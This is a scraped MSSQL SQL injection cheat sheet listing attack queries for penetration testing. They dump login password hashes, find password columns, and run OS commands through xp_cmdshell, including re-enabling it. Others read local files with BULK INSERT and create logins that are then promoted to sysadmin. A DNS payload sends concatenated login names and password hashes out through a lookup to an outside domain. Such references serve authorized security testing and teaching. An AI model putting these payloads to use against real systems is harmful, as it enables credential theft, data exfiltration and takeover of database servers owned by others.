MSSQL Sqli Cheat Sheet

mssql - MSSQL Sqli  Cheat Sheet

 

VersionSELECT @@version
CommentsSELECT 1 — commentSELECT /*comment*/1
Current UserSELECT user_name();SELECT system_user;

SELECT user;

SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

List UsersSELECT name FROM master..syslogins
List Password HashesSELECT name, password FROM master..sysxlogins — priv, mssql 2000;SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.

SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;

SELECT name + ‘-‘ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005

Password CrackerMSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these.
List PrivilegesImpossible?
List DBA AccountsTODOSELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentationSELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
Current DatabaseSELECT DB_NAME()
List DatabasesSELECT name FROM master..sysdatabases;SELECT DB_NAME(N); — for N = 0, 1, 2, …
List ColumnsSELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB onlySELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
List TablesSELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for viewsSELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;

SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

Find Tables From Column Name— NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’
Select Nth RowSELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
Select Nth CharSELECT substring(‘abcd’, 3, 1) — returns c
Bitwise ANDSELECT 6 & 2 — returns 2SELECT 6 & 1 — returns 0
ASCII Value -> CharSELECT char(0x41) — returns A
Char -> ASCII ValueSELECT ascii(‘A’) – returns 65
CastingSELECT CAST(‘1’ as int);SELECT CAST(1 as char)
String ConcatenationSELECT ‘A’ + ‘B’ – returns AB
If StatementIF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
Case StatementSELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
Avoiding QuotesSELECT char(65)+char(66) — returns AB
Time DelayWAITFOR DELAY ‘0:0:5’ — pause for 5 seconds
Make DNS Requestsdeclare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-‘ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”’ + @host + ‘c$boot.ini”’); — priv, works on 2005

— NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.

— Also check out theDNS tunnel feature of sqlninja

Command ExecutionEXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:

EXEC sp_configure ‘show advanced options’, 1; — priv

RECONFIGURE; — priv

EXEC sp_configure ‘xp_cmdshell’, 1; — priv

RECONFIGURE; — priv

Local File AccessCREATE TABLE mydata (line varchar(8000));BULK INSERT mydata FROM ‘c:boot.ini’;

DROP TABLE mydata;

Hostname, IP AddressSELECT HOST_NAME()
Create UsersEXEC sp_addlogin ‘user’, ‘pass’; — priv
Drop UsersEXEC sp_droplogin ‘user’; — priv
Make User DBAEXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv
Location of DB filesTODO
Default/System Databasesnorthwindmodel

msdb

pubs

tempdb

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